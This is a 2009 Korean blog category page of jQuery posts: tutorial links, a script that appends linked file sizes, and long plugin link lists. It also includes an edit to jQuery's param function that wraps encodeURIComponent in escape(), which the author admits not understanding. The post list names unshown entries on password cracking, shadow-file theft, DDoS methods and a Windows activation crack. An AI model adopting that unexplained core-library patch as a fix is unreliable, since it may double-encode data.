Search Results for '전체 분류'


2064 posts related to '전체 분류'

  1. 2009/07/16 IBM jquery 강좌
  2. 2009/07/16 jQuery 링크에 걸린 파일 사이즈 자동으로 알아내기
  3. 2009/07/16 jQuery 강좌 링크
  4. 2009/07/16 jQuery의 AJAX전송시 한글문제 좀더 편하게 풀어보자
  5. 2009/07/16 jquery 플러그인 링크
  6. 2009/07/16 jQuery PlugIn 링크 모음
  7. 2009/07/16 JQuery 관련 링크 모음
  8. 2009/07/16 자바스크립트 라이브러리 Jquery 플러그인
  9. 2009/07/16 링크 관련 팁
  10. 2009/07/16 단독 서버호스팅 - 추천 강추
  11. 2009/07/16 아티보드 특징 - 소개- ASP 무료 게시판 솔루션 1
  12. 2009/07/16 아티보드 2.0 2009년 6월 8일자 버전입니다.
  13. 2009/07/16 asp게시판 설치 -아티보드편
  14. 2009/07/16 [태요]jQuery, 기본 셀렉터
  15. 2009/07/16 Jquery 링크 모음
  16. 2009/06/18 주택청약종합저축 (만능청약통장)
  17. 2009/06/18 CMA 통장의 장/단점
  18. 2009/06/18 이것저것 해킹툴 - 7
  19. 2009/06/18 포트스캔 툴 - nmap
  20. 2009/06/18 포트스캔소스 3
  21. 2009/06/18 리눅스 시스템에서 shadow 파일 가져오기 1
  22. 2009/06/18 파일 압축 및 파일 합병 방법 -
  23. 2009/06/18 john the ripper 다운로드 및 간략한 사용법
  24. 2009/06/18 ***로 찍힌 비밀번호 알아내기 4
  25. 2009/06/18 Ddos 공격방법 7
  26. 2009/06/08 ,(주)오픈코리아, 이미지 호스팅 ‘업그레이드’
  27. 2009/05/27 URL 경로 구하기
  28. 2009/05/27 DeZend (PHP 디코딩) 1
  29. 2009/05/27 Mass SQL Injection 일괄 삭제하기 - VBScript
  30. 2009/05/27 Windows XP 정품인증 패치 7
안녕하세요?
최근 가장 인기있는 자바스크립트 라이브러리는 jQuery입니다.
MS도 ASP.NET MVC에 jQuery를 포함시킬 예정입니다.
이미 시중에 jQuery 책이 번역되어 나와 있지만,
IBM 사이트에서 jQuery 강좌를 번역해서 연재하고 있으니까
이것을 먼저 보시는 것도 좋으리라 생각합니다.
http://www.ibm.com/developerworks/kr/library/wa-jquery1/index.html
http://www.ibm.com/developerworks/kr/library/wa-jquery2/index.html
http://www.ibm.com/developerworks/kr/library/x-ajaxjquery.html
http://www.ibm.com/developerworks/kr/library/wa-aj-overhaul1/index.html
http://www.ibm.com/developerworks/kr/library/wa-aj-overhaul2/index.html

이 글이 도움이 되었으면 좋겠네요..
2009/07/16 17:04 2009/07/16 17:04
오늘자 ajaxian에 올라온 포스트 중에 jQuery Tip으로 링크에 걸린 파일사이즈를 자동으로 알아낸뒤 링크뒤에 출력해주는 포스팅을 번역해서 올려본다.



jQuery(function($){
$('a[href$=".pdf"], a[href$=".doc"], a[href$=".mp3"], a[href$=".m4u"]').each(function(){
// looking at the href of the link, if it contains .pdf or .doc or .mp3
var link = $(this);
var bits = this.href.split('.');
var type = bits[bits.length -1];


var url= "http://json-head.appspot.com/?url="+encodeURI($(this).attr('href'))+"&callback=?";

// then call the json thing and insert the size back into the link text
$.getJSON(url, function(json){
if(json.ok && json.headers['Content-Length']) {
var length = parseInt(json.headers['Content-Length'], 10);

// divide the length into its largest unit
var units = [
[1024 * 1024 * 1024, 'GB'],
[1024 * 1024, 'MB'],
[1024, 'KB'],
[1, 'bytes']
];

for(var i = 0; i <units.length; i++){

var unitSize = units[i][0];
var unitText = units[i][1];

if (length>= unitSize) {
length = length / unitSize;
// 1 decimal place
length = Math.ceil(length * 10) / 10;
var lengthUnits = unitText;
break;
}
}

// insert the text directly after the link and add a class to the link
link.after(' (' + type + ' ' + length + ' ' + lengthUnits + ')');
link.addClass(type);
}
});
});
});


소스에서 굵게 표시된 json.headers 를 이용해서 컨텐츠의 사이즈를 알아온뒤 link.after메쏘드로 화면에 출력해 주었다...
너무도 간단하게.. ㅡ.,ㅡ;

addSizes.js

샘플사이트 : http://natbat.net/code/clientside/js/addSizes/
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">

<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>addSizes</title>
<!-- Date: 2008-07-29 -->
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js" type="text/javascript"></script>
<script src="addSizes.js" type="text/javascript"></script>
</head>
<body>
<h1>addSizes</h1>
<p>This is a link to a remote <a href="http://clearleft.com/worksheet/client-worksheet.doc">doc</a> file.</p>
<p>This is a link to a remote <a href="http://www.onyx.com/pdf/CustomerMgmtBrochure.pdf">pdf</a> file.</p>
<p>This is a link to a remote <a href="http://media.giantbomb.com/podcast/giantbombcast-071708.mp3">mp3</a> file.</p>

<p>This is a link to a local <a href="media/test.doc">doc</a> file.</p>
<p>This is a link to a remote <a href="media/test.pdf">pdf</a> file.</p>
<p>This is a link to a remote <a href="media/test.mp3">mp3</a> file.</p>
</body>
</html>
2009/07/16 17:02 2009/07/16 17:02
jQuery의 AJAX 기능을 사용하다 보면 특정 서버에 한글이 깨져서 전송 된다. 사실 jQuery의 문제가 아니라 각 브라우져에 탑재된 XMLHTTP모듈의 인코딩 방식에 따라 한글이 깨지거나 안깨지거나 하는 것 같다.
인터넷을 검색해보면 한글 깨짐 문제에 대한 많은 솔루션들이 존재한다. 그것은 전송하려는 값에 encodeURIComponent()함수를 사용하여 인코딩 하는 방법이다. 나 역시도 서버에 값들을 보내기 위해 보내는 값마다 열심히 함수를 붙여서 코딩을 했다.

그러다가 이런 생각이 들었다.
"어차피 죄다 인코딩 해주는거 jQuery 안에서 모두 처리하게 해주면 안되나?"

그래서 jQuery소스의 AJAX관련 코드를 뒤지다가 파라메터들을 직렬화 해주는 함수에 이를 적용할 수 있을 것으로 판단했다. (본 내용은 1.2.6 버전 기준으로 작성)
① 에디터로 jquery-1.2.6.js 을 연다.
② 직렬화 함수인 param함수를 찾는다. (Ctrl+F 하고 param을 쳐보자 ^^)
③ encodeURIComponent()함수를 escape()함수로 싼다. (아래 코드 참조)

   // Serialize an array of form elements or a set of
   // key/values into a query string
   param: function( a ) {
       var s = [];

       // If an array was passed in, assume that it is an array
       // of form elements
       if ( a.constructor == Array || a.jquery )
           // Serialize the form elements
           jQuery.each( a, function(){
               s.push( escape(encodeURIComponent(this.name)) +"=" + escape(encodeURIComponent( this.value )));
           });

       // Otherwise, assume that it's an object of key/value pairs
       else
           // Serialize the key/values
           for ( var j in a )
               // If the value is an array then the key names need to be repeated
               if ( a[j] && a[j].constructor == Array )
                   jQuery.each( a[j], function(){
                       s.push( escape(encodeURIComponent(j)) + "=" + escape(encodeURIComponent( this ) ));
                   });
               else
                   s.push( escape(encodeURIComponent(j)) + "=" +
escape(encodeURIComponent( jQuery.isFunction(a[j]) ? a[j]() : a[j] ) ));

       // Return the resulting serialization
       return s.join("&").replace(/%20/g, "+");
   }

이미 encodeURIComponent()라는 함수로 모든 값들을 처리하고 있었다. 이미 인코딩 처리를 하고 있는데 무엇이 문제였을까 하고 계속 검색하다가 찾은 방법이 escape()라는 함수를 덧 붙여 사용하는 방법이다.

이 방법을 사용하면 각자 작성하는 코드에서 값마다 일일이 인코딩 처리를 안해주어도 된다.
그러나 정작 작성하고도 왜 escape()를 붙였을 경우 제대로 전송이 되는지에 대해서는 이해가 가지 않는다.
혹시 이 글을 본 다른 개발자 분들의 조언을 부탁드리며...

출처 : http://elemen.tistory.com/45
2009/07/16 17:00 2009/07/16 17:00
 -Jquery 플러그인 모음 이거한방이면 끝..!! : http://www.seek-blog.com/41065/14090/240-plugins-jquery.html

 -light box(이미지 미리보기,pre,next) : http://leandrovieira.com/projects/jquery/lightbox/

 -이미지 스크롤 : http://benjaminsterling.com/2007/09/09/jquery-jqgalscroll-photo-gallery/

 -이미지 싸이클 : http://www.malsup.com/jquery/cycle/

 -BlockUI Plugin(processing,처리중 등등,confirm!) :  http://www.malsup.com/jquery/block/#element

 -UI Modal : http://jquery.com/demo/thickbox/

 -플래쉬 플러그인 삽입 : http://jquery.lukelutman.com/plugins/flash/#examples

 -Photo Slider Tutorial : http://opiefoto.com/articles/photoslider#example

 -jScrollPane : http://kelvinluck.com/assets/jquery/jScrollPane/jScrollPane.html

 -Accessible News Slider  : http://www.reindel.com/accessible_news_slider/#examples

 - unobtrusive tabs(탭메뉴) : http://stilbuero.de/jquery/tabs/#fragment-29
      http://www.sunsean.com/idTabs/#t3

 -jQuery Ajax Link Checker : http://troy.dyle.net/linkchecker/

 -jQuery Form Plugin  : http://malsup.com/jquery/form/#code-samples

 -jquery.suggest, an alternative jQuery based autocomplete library(자동완성)
  http://www.vulgarisoip.com/2007/06/29/jquerysuggest-an-alternative-jquery-based-autocomplete-library/
  http://nodstrum.com/2007/09/19/autocompleter/

 -jlook(폼객체 리뉴얼)  :

  http://envero.org/jlook/

 -jQuery - LinkedSelect(멀티 select) :

  http://www.msxhost.com/jquery/linked-selects/json/

 -Masked Input Plugin    : (입력포맷 확인)
  http://digitalbush.com/projects/masked-input-plugin
  http://www.appelsiini.net/projects/jeditable/default.html

 -Overlabel with JQuery(박스안에 워터마킹처리)  : http://scott.sauyet.com/xxJavascript/Demo/Overlabel/

 -Styling an input type="file"(파일찾기 이미지 처리)
   http://www.quirksmode.org/dom/inputfile.html

 -jQuery UI Datepicker v3.0 Examples(달력)
  http://marcgrabanski.com/code/ui-datepicker/

 -jQuery Validation Plugin(폼체크,포커싱)
  http://jquery.bassistance.de/validate/demo-test/ 
  http://www.texotela.co.uk/code/jquery/focusfields/
 
 -jQuery columnHover plugin(컬럼 하이라이트/컬럼 컨트롤)
  http://p.sohei.org/stuff/jquery/columnhover/demo/demo.html
  http://p.sohei.org/stuff/jquery/columnmanager/demo/demo.html

 -tablesorterDocumentation(테이블 순서)
  http://tablesorter.com/docs/index.html 

 -jQuery Accordion Demo(컨테이너 예제)
  http://jquery.bassistance.de/accordion/?p=1.1.1

 -jQPanView based in jQuery 1.1(이미지 확대보기)
  http://projects.sevir.org/storage/jpanview/index.html

 -jQuery Impromptu(confirm!,alert! 등등)
  http://trentrichardson.com/Impromptu/

 -jqGrid Examples(그리드)
  http://trirand.com/jqgrid/jqgrid.html#

 -Toggle HTML-Elements with jQuery
  http://jquery.andreaseberhard.de/toggleElements/

 -UI/Sortables(테이블 위치변경 ^^)
  http://docs.jquery.com/UI/Sortables

 -뉴스 슬라이더(부분보기,전체보기)
  http://www.reindel.com/accessible_news_slider/

 -로컬 스크롤러
  http://www.freewebs.com/flesler/jQuery.LocalScroll/

 -핫키 테스트
  http://jshotkeys.googlepages.com/test-static.html

 -슬라이더
  http://docs.jquery.com/UI/Slider/slider

 -쇼핑카트
  http://www.mimul.com/pebble/default/2007/10/30/1193753340000.html

 -테이블 소트
  http://www.mimul.com/pebble/default/2007/11/06/1194348600000.html

 -이미지 나중에 로딩시키기  http://www.mimul.com/pebble/default/2007/11/10/1194695220000.html

 -오토탭(입력시 폼객체 자동넘김)
  http://dev.lousyllama.com/autotab/

 -실시간 폼객체 수정
  http://www.appelsiini.net/projects/jeditable/custom.html

 -프린트
  http://www.designerkamal.com/jPrintArea/#
 -차트
  http://www.reach1to1.com/sandbox/jquery/jqchart/

 -CSS Dock Menu (Jquery + CSS)
  후니넷에서 보삼
 -툴팁
  http://www.codylindley.com/blogstuff/js/jtip/

 -XML데이터 뿌리기
  http://blog.reindel.com/src/jquery_browse/
  http://www.xml.com/pub/a/2007/10/10/jquery-and-xml.html
  http://www.mimul.com/pebble/default/2006/11/05/1162710000000.html

 -Clearing Form

  http://www.learningjquery.com/2007/08/clearing-form-data

 --암호 복잡성 체크

  http://phiras.googlepages.com/PasswordStrengthMeter.html

 --Form Serialize

  http://dev.jquery.com/wiki/Plugins/FastSerialize

 --GetString 퍼라미터 가져오기
  http://www.mathias-bank.de/2006/10/28/jquery-plugin-geturlparam/

 --검색 후 콤보생성(ajax with combo) 아주 유용함
  http://extjs.com/deploy/ext/examples/form/forum-search.html
  http://extjs.com/deploy/ext/examples/grid/edit-grid.html-->그리드

 --파일 업로드(input=file) 리폼
  http://www.appelsiini.net/projects/filestyle/demo.html

Jquery Best
 http://www.spicyexpress.net/general/jquerry-at-it-best-downloadable-jquerry-plugins-and-widgets-for-you-2/

웹디자인 템플릿트(2.0)
 -http://www.templateworld.com/free_templates.html

----------------------------------------
Jquery tag cloud
http://www.ajaxrain.com/tagcloud.php
Jquery 기본설명
http://www.zzbb.kr/34
----------------------------------------

^^Star Rater(순위) --활용가능성 높음
http://www.m3nt0r.de/devel/raterDemo/

^^ AJAX CALLING --활용가능성 높음
http://cgaskell.wordpress.com/2006/11/02/jquery-ajax-call-and-result-xml-parsing/

--AJAX 아이디 중복체크 - 활용가능성 아주높음
http://www.shawngo.com/gafyd/index.html

^^ jQuery framework plugins which provide a way to sort and nest elements in web applications, using drag-and-drop(테이블드래그앤드랍) --활용가능성 중간
http://code.google.com/p/nestedsortables/

^^Simple tableSorter(리스트 정렬) 활용가능성 중간
http://motherrussia.polyester.se/docs/tablesorter/

^^Cookie 활용가능성 높음
http://www.stilbuero.de/2006/09/17/cookie-plugin-for-jquery/

^^태깅 --그냥한번보자..ㅎ
http://www.alcoholwang.cn/jquery/jTaggingDemo.htm

^^죽이는 어코디언 메뉴
http://dev.portalzine.de/index?/Horizontal_Accordion--print

^^ AJAX Indicator 이미지
http://qureyoon.blogspot.com/2006/11/make-your-own-loading-gif.html

----------------------------------------
2007.12.28 찾은것
----------------------------------------
http://rikrikrik.com/jquery/quicksearch/#usage
http://nadiaspot.com/jquery/confirm!/#examples
http://host.sonspring.com/portlets/
http://jquery.andreaseberhard.de/toggleElements/
http://www.getintothis.com/pub/projects/rb_menu/
http://icon.cat/software/iconDock/0.8b/dock.html
http://www.nuernberg.de/internet/portal/index.html
http://rikrikrik.com/jquery/shortkeys/#examples
http://rikrikrik.com/jquery/pager/#examples
http://famspam.com/facebox/ --라이트박스같은것
http://www.andreacfm.com/
http://www.vulgarisoip.com/2007/06/29/jquerysuggest-an-alternative-jquery-based-autocomplete-library/ --autocomplete
http://www.gcmingati.net/wordpress/wp-content/lab/jquery/newsticker/jq-liscroll/scrollanimate.html - 뉴스 스크롤
http://d-scribe.de/webtools/jquery-pagination/demo.htm# --페이징
http://tinymce.moxiecode.com/example_full.php?example=true --Open Source WYSWYG 웹 에디터
http://www.laptoptips.ca/projects/tinymce-advanced/ --Open Source WYSWYG 웹 에디터 advanced
http://extjs.com/ -또다른 RIA xxJAVASCRIPT 프레임워크
http://www.digital-web.com/extras/jquery_crash_course/ -jquery로 만든 비행 예약 시스템 데모(Passenger Management )
http://markc.renta.net/jquery/ --jquery 간단예제
http://www.xml.com/pub/a/2007/10/10/jquery-and-xml.html?page=2 -jquery와 XML
http://www.stilbuero.de/2006/09/17/cookie-plugin-for-jquery/  -쿠키 플러그인
http://jquery.com/files/demo/dl-done.html --간단한 어코디언 메뉴
http://mjslib.org/doc/legacy/fieldgroup.html --폼필드 컨트롤
http://extjs.com/deploy/dev/examples/tree/two-trees.html --트리
http://www.amcharts.com/column/ - 차트(바로 사용^^)
http://particletree.com/features/rediscovering-the-button-element/ - 버튼 스타일링
http://www.i-marco.nl/weblog/jquery-accordion-menu/ - 실용성 높은 어코디언 메뉴

http://www.sastgroup.com/jquery/240-plugins-jquery
http://jquery.bassistance.de/jquery-getting-started.html

2009/07/16 16:58 2009/07/16 16:58

File upload


Ajax File Upload

jQUploader

Multiple File Upload plugin

jQuery File Style

Styling an input type file

Progress Bar Plugin


Form Validation


jQuery Validation


Auto Help

Simple jQuery form validation

jQuery XAV - form validations

jQuery AlphaNumeric

Masked Input

TypeWatch Plugin

Text limiter for form fields

Ajax Username Check with jQuery


Form - Select Box stuff


jQuery Combobox

jQuery controlled dependent (or Cascadign) Select List

Multiple Selects

Select box manipulation

Select Combo Plugin

jQuery - LinkedSelect

Auto-populate multiple select boxes

Choose Plugin (Select Replacement)


Form Basics, Input Fields, Checkboxes etc.


jQuery Form Plugin

jQuery-Form

jLook Nice Forms

jNice

Ping Plugin

Toggle Form Text

ToggleVal

jQuery Field Plugin

jQuery Form’n Field plugin


jQuery Checkbox manipulation

jTagging

jQuery labelcheck

Overlabel

3 state radio buttons

ShiftCheckbox jQuery Plugin

Watermark Input

jQuery Checkbox (checkboxes with imags)

jQuery SpinButton Control


jQuery Ajax Form Builder

jQuery Focus Fields

jQuery Time Entry


Time, Date and Color Picker


jQuery UI Datepicker

jQuery date picker plugin

jQuery Time Picker

Time Picker

ClickPick


TimePicker

Farbtastic jQuery Color Picker Plugin

Color Picker by intelliance.fr


Rating Plugins


jQuery Star Rating Plugin

jQuery Star Rater

Content rater with asp.net, ajax and jQuery

Half-Star Rating Plugin


Search Plugins


jQuery Suggest

jQuery Autocomplete

jQuery Autocomplete Mod

jQuery Autocomplete by AjaxDaddy

jQuery Autocomplete Plugin with HTML formatting

jQuery Autocompleter

AutoCompleter (Tutorial with PHP&MySQL)

quick Search jQuery Plugin


Inline Edit & Editors


jTagEditor

WYMeditor

jQuery jFrame

Jeditable - edit in place plugin for jQuery

jQuery editable

jQuery Disable Text Select Plugin

Edit in Place with Ajax using jQuery


jQuery Plugin - Another In-Place Editor

TableEditor

tEditable - in place table editing for jQuery


Audio, Video, Flash, SVG, etc


jMedia - accessible multi-media embedding

JBEdit - Ajax online Video Editor

jQuery MP3 Plugin

jQuery Media Plugin

jQuery Flash Plugin


Embed QuickTime

SVG Integration


Photos/Images/Galleries


ThickBox

jQuery lightBox plugin

jQuery Image Strip

jQuery slideViewer

jQuery jqGalScroll 2.0

jQuery - jqGalViewII


jQuery - jqGalViewIII

jQuery Photo Slider

jQuery Thumbs - easily create thumbnails

jQuery jQIR Image Replacement

jCarousel Lite

jQPanView

jCarousel

Interface Imagebox

Image Gallery using jQuery, Interface & Reflactions


simple jQuery Gallery

jQuery Gallery Module

EO Gallery

jQuery ScrollShow

jQuery Cycle Plugin

jQuery Flickr

jQuery Lazy Load Images Plugin

Zoomi - Zoomable Thumbnails

jQuery Crop - crop any image on the fly


Image Reflection


Google Map


jQuery Plugin googlemaps

jMaps jQuery Maps Framework

jQmaps

jQuery & Google Maps

jQuery Maps Interface forr Google and Yahoo maps

jQuery J Maps - by Tane Piper


Games


Tetris with jQuery

jQuery Chess

Mad Libs Word Game

jQuery Puzzle

jQuery Solar System (not a game but awesome jQuery Stuff)


Tables, Grids etc.


UI/Tablesorter

jQuery ingrid


jQuery Grid Plugin

Table Filter - awesome!

TableEditor

jQuery Tree Tables

Expandable “Detail” Table Rows

Sortable Table ColdFusion Costum Tag with jQuery UI

jQuery Bubble


TableSorter

Scrollable HTML Table

jQuery column Manager Plugin

jQuery tableHover Plugin

jQuery columnHover Plugin

jQuery Grid

TableSorter plugin for jQuery

tEditable - in place table editing for jQuery

jQuery charToTable Plugin


jQuery Grid Column Sizing

jQuery Grid Row Sizing


Charts, Presentation etc.


jQuery Wizard Plugin 

jQuery Chart Plugin

Bar Chart


Border, Corners, Background


jQuery Corner

jQuery Curvy Corner


Nifty jQuery Corner

Transparent Corners

jQuery Corner Gallery

Gradient Plugin


Text and Links


jQuery Spoiler plugin

Text Highlighting

Disable Text Select Plugin

jQuery Newsticker


Auto line-height Plugin

Textgrad - a text gradient plugin

LinkLook - a link thumbnail preview

pager jQuery Plugin

shortKeys jQuery Plugin

jQuery Biggerlink

jQuery Ajax Link Checker


Tooltips


jQuery Plugin - Tooltip


jTip - The jQuery Tool Tip

clueTip

BetterTip

Flash Tooltips using jQuery

ToolTip


Menus, Navigations


jQuery Tabs Plugin - awesome! [demo nested tabs]


another jQuery nested Tab Set example (based on jQuery Tabs Plugin)

jQuery idTabs

jdMenu - Hierarchical Menu Plugin for jQuery

jQuery SuckerFish Style

jQuery Plugin Treeview

treeView Basic

FastFind Menu

Sliding Menu

Lava Lamp jQuery Menu


jQuery iconDock

jVariations Control Panel

ContextMenu plugin

clickMenu

CSS Dock Menu

jQuery Pop-up Menu Tutorial

Sliding Menu


Accordions, Slide and Toggle stuff


jQuery Plugin Accordion


jQuery Accordion Plugin Horizontal Way

haccordion - a simple horizontal accordion plugin for jQuery

Horizontal Accordion by portalzine.de

HoverAccordion

Accordion Example from fmarcia.info

jQuery Accordion Example

jQuery Demo - Expandable Sidebar Menu

Sliding Panels for jQuery

jQuery ToggleElements


Coda Slider

jCarousel

Accesible News Slider Plugin

Showing and Hiding code Examples

jQuery Easing Plugin

jQuery Portlets

AutoScroll

Innerfade


Drag and Drop


UI/Draggables

EasyDrag jQuery Plugin

jQuery Portlets

jqDnR - drag, drop resize

Drag Demos


XML XSL JSON Feeds


XSLT Plugin

jQuery Ajax call and result XML parsing

xmlObjectifier - Converts XML DOM to JSON


jQuery XSL Transform

jQuery Taconite - multiple Dom updates

RSS/ATOM Feed Parser Plugin

jQuery Google Feed Plugin


Browserstuff


Wresize - IE Resize event Fix Plugin

jQuery ifixpng

jQuery pngFix

Link Scrubber - removes the dotted line onfocus from links


jQuery Perciformes - the entire suckerfish familly under one roof

Background Iframe

QinIE - for proper display of Q tags in IE

jQuery Accessibility Plugin

jQuery MouseWheel Plugin


Alert, Prompt, Confirm Windows


jQuery Impromptu

jQuery Confirm Plugin

jqModal


SimpleModal


CSS


jQuery Style Switcher

JSS - Javascript StyleSheets

jQuery Rule - creation/manipulation of CSS Rules

jPrintArea


DOM, Ajax and other jQuery plugins


FlyDOM


jQuery Dimenion Plugin

jQuery Loggin

Metadata - extract metadata from classes, attributes, elements

Super-tiny Client-Side Include Javascript jQuery Plugin

Undo Made Easy with Ajax

JHeartbeat - periodically poll the server

Lazy Load Plugin

Live Query

jQuery Timers


jQuery Share it - display social bookmarking icons

jQuery serverCookieJar

jQuery autoSave

jQuery Puffer

jQuery iFrame Plugin

Cookie Plugin for jQuery

jQuery Spy - awesome plugin

Effect Delay Trick

2009/07/16 16:56 2009/07/16 16:56
jQueryFONT color=#400000> Grid Plugin (***) : 게시판에서 정렬과 게시판 펼치기 접기 등의 기능을 도와주는 플러그인
http://www.trirand.com/blog/?page_id=6

그리드 (*) : 전체 페이징을 하지 않는 Ajax 게시판
http://www.reconstrukt.com/ingrid/example2.html



팬시박스 (**) : 이미지 팝업창에 모달효과 약간의 에니메이션이 들어감.
http://fancy.klade.lv/ (****)

예제 : http://fancy.klade.lv/example


jQuery Lightbox Plugin (balupton edition) (**) : 이미지 모달 팝업
http://www.balupton.com/sandbox/jquery_lightbox/


imagebox : 이미지 모달 팝업
http://www.intelliance.fr/jquery/imagebox/


이미지 회전 :  이미지의 회전이 가능하게 한다.

http://www.piksite.com/mRotate/mRotate.html


jQuery sliding gallery demo : 이미지 애니메이션 슬라이드
http://phplug.net/components/javascript/jquery-gallery.html


이미지 슬라이딩 : 좌 우로 움직임
http://www.maxb.net/scripts/ycodaslider-2.0/include/demo/#10


이미지 공간감 효과 (***)  :  여러 이미지를 레이어 겹쳐 놓음으로써 3D 효과를 준다.

http://webdev.stephband.info/parallax.html


디자이너를 위한 jquery (**) : 태그 조작과 에니메이션 효과와 관련된 사이트
http://www.webdesignerwall.com/demo/jquery/(****)

AutoScroll (*) : 컨트롤 키 누른 채로 mouse 움직였을 때, 자동 스크롤이 가능하게끔
http://jdsharp.us/jQuery/plugins/AutoScroll/demo.php (****)

 drag and drop (*) : 드래그 드랍 예제
http://host.sonspring.com/dragdrop/ (***)


JQuery 예제 모음 사이트 (*****)

http://www.ajaxrain.com/tag?tag=jquery 

컬럭 Picker (****)  :  PhotoShop의 색 선택 기능이 가능.
http://www.intelliance.fr/jquery/color_picker/

jQuery MultiSelect (**) : custom 셀렉트 박스, 셀렉트 박스에 체크박스가 추가 되어 여러개를 선택 가능한 박스.
http://abeautifulsite.net/notebook_files/62/demo/jqueryMultiSelect.html

"jQuery checkbox v.1.0.0" demo (**)  : custom 디자인 체크박스
http://widowmaker.kiev.ua/checkbox/


jQuery Treeview Plugin Demo (**) : 트리 컨트롤러 1

http://jquery.bassistance.de/treeview/demo/


jQuery File Tree Demo (***) : JQuery 트리 컨트롤로 2
http://abeautifulsite.net/notebook_files/58/demo/


jQuery columnManager plugin (*) : 테이블의 컬럼을 추가 삭제등의 기능 제공
http://p.sohei.org/stuff/jquery/columnmanager/demo/demo.html

jQuery AIR (***) : ajax를 이용한 항공 좌석 예약.
http://www.digital-web.com/extras/jquery_crash_course/

Masked Input Plugin (**) : 입력상자에 exel과 같은 서식 적용.
http://digitalbush.com/projects/masked-input-plugin

Watermark Input Plugin (*): 입력상자에 워터마크 표시
http://digitalbush.com/projects/watermark-input-plugin


ClockPick (***): 입력상자에 시간을 선택해서 넣을 수 있다.
http://www.oakcitygraphics.com/jquery/clockpick/trunk/ClockPick.cfm

chart : JQuery를 이용한 차트
http://www.reach1to1.com/sandbox/jquery/jqchart/


달력
http://tedserbinski.com/jcalendar/index.html#demo


3D로테이션 : 글자들이 xy 좌표에서 3D효과로 회전함.
http://www.willjessup.com/sandbox/jquery/rotator/rotator.html

스크롤중 데이터가져오기 :
http://www.webresourcesdepot.com/dnspinger/
http://www.webresourcesdepot.com/load-content-while-scrolling-with-jquery/

Query Flash Plugin - Basic Example : flash 삽입 플러그인
http://jquery.lukelutman.com/plugins/flash/example-basic.html

jquery combobox demo : custom 콤보박스 ie 7.0으로 보면 깨져나온다.

http://jquery.sanchezsalvador.com/samples/example.htm

scrollable table : 테이블에 스크롤바가 붙어있다-_-;;
http://www.webtoolkit.info/demo/jquery/scrollable/demo.html


accordion-madness
http://www.learningjquery.com/2007/03/accordion-madness

jQuery Multimedia Portfolio
http://www.openstudio.fr/jquery/


체크박스 이동
http://sanisoft-demo.com/jquery/plugins/shiftcheckbox/demo.html

위지윅에디터
http://projects.bundleweb.com.ar/jWYSIWYG/

크랍
http://remysharp.com/2007/03/19/a-few-more-jquery-plugins-crop-labelover-and-pluck/#crop

슬라이딩 퍼즐
http://www.bennadel.com/blog/1009-jQuery-Demo-Creating-A-Sliding-Image-Puzzle-Plug-In.htm


날짜픽업
http://kelvinluck.com/assets/jquery/datePicker/v2/demo/

레이팅
http://php.scripts.psu.edu/rja171/widgets/rating.php

JQuery Curvy Corners Demo page
http://blue-anvil.com/jquerycurvycorners/test.html


http://www.mind-projects.it/blog/jqzoom_v10


LavaLamp for jQuery lovers!
http://gmarwaha.com/blog/?cat=8


컬러
http://www.jnathanson.com/blog/client/jquery/heatcolor/index.cfm#examples

비쥬얼 쿼리
http://visualjquery.com/1.1.2.html


jQuery "Highlight" Demo
http://www.keyframesandcode.com/resources/javascript/jQuery/demos/highlight-demo.html

Hot Key Testing
http://jshotkeys.googlepages.com/test-static.html

accordion menu
http://www.i-marco.nl/weblog/jquery-accordion-menu-redux/


jQuery easyThumb
http://www.hverven.net/div/easyThumb/

갤러리
http://www.flyerstop.ca/ui/apps/gallery_advanced/


thickbox
http://jquery.com/demo/thickbox/


마우스휠 플러그인
http://www.ogonek.net/mousewheel/jquery-demo.html
http://www.ogonek.net/mousewheel/demo.html

휴먼메세지
http://binarybonsai.com/misc/humanmsg/

jQuery - LinkedSelect
http://www.msxhost.com/jquery/linked-selects/json/


jQuery » iFrame Sizing
http://host.sonspring.com/iframe/

jQuery for Designers - Ajax Form Validation Example
http://jqueryfordesigners.com/demo/ajax-validation.php

폰트크기 바꾸기
http://www.lllcolor.com/jQuery/demo/demo01b.html

dimension
http://brandonaaron.net/docs/dimensions/#code-samples

portlet 데모
http://www.rymix.co.uk/jquery/d15/sortables2.html

FX데모
http://magalies.net/downloads/Jquery/Interface%20examples/demos/ifx.html#pulsate-fx

오픈윈도우
http://magalies.net/downloads/Jquery/Interface%20examples/demos/windows.html

JQuery tricks: using Greybox + form plugin for a modal dialog box
http://corky.net/dotan/programming/jquery.dialog/dialog-demo.html


FaceBoox style autosuggest with jQuery
http://web2ajax.fr/examples/facebook_searchengine/

Auto-Growing Textarea Demo
http://www.aclevercookie.com/demos/autogrow_textarea.html

jQuery Helper for Komodo Media CSS Star Rater (Redux)
http://www.m3nt0r.de/devel/raterDemo/

에디터
http://avidansoft.com/dsrte/


jQuery Keyboard Navigation Plugin
http://amountaintop.com/project/keynav/


http://jqueryfordesigners.com/demo/tabs.html

jQuery AccessKey Demo
http://methvin.com/jquery/jq-access.html

Semi-transparent rollover effect using jQuery
http://coderseye.com/files/demos/pngrollover/index.html

Revealing Photo Slider
http://css-tricks.com/examples/RevealingPhotoSlider/

Simple jQuery form validation
http://www.willjessup.com/sandbox/jquery/form_validator/form_validate.html

after callback demo
http://jsdesigning.com/gal/gal.php?top=10&id_pic=9&id_album=2


갤러리
http://devkick.com/lab/galleria/demo_01.htm#img/ladybug.jpg


SWF Upload
http://www.alexandremagno.net/blog/wp-content/uploads/swfupload/index.htm

jQuery gradient - Visual Test
http://brandonaaron.net/jquery/plugins/gradient/test/

tEditable :: In place table editing for jQuery
http://joshhundley.com/teditable/index.html

sort
http://interface.eyecon.ro/demos/sort.html

http://geeknation.blinklist.com/tag/jQuery/
http://www.nalanta.com/node/7
http://www.noupe.com/jquery/50-amazing-jquery-examples-part1.html
http://www.blinklist.com/mungkey/jquery/
http://geekswithblogs.net/AzamSharp/archive/2008/02/21/119882.aspx
http://www.learningjquery.com/2006/12/multiple-fancy-drop-caps
http://www.trirand.com/blog/?page_id=5
http://people.iola.dk/olau/flot/examples/selection.html(챠트 선택)
http://www.mootools.net/dragdrop/
http://plugins.jquery.com/project/Plugins/category/21
http://mohamedshaiful.googlepages.com/add_remove_form.htm
http://www.chazzuka.com/Portofolio/
http://dev.jquery.com/view/tags/ui/1.5b2/demos/ui.sortable.html
http://hooney.net/code/2007/08/UnobtrusiveTabNav/tabNav03.html
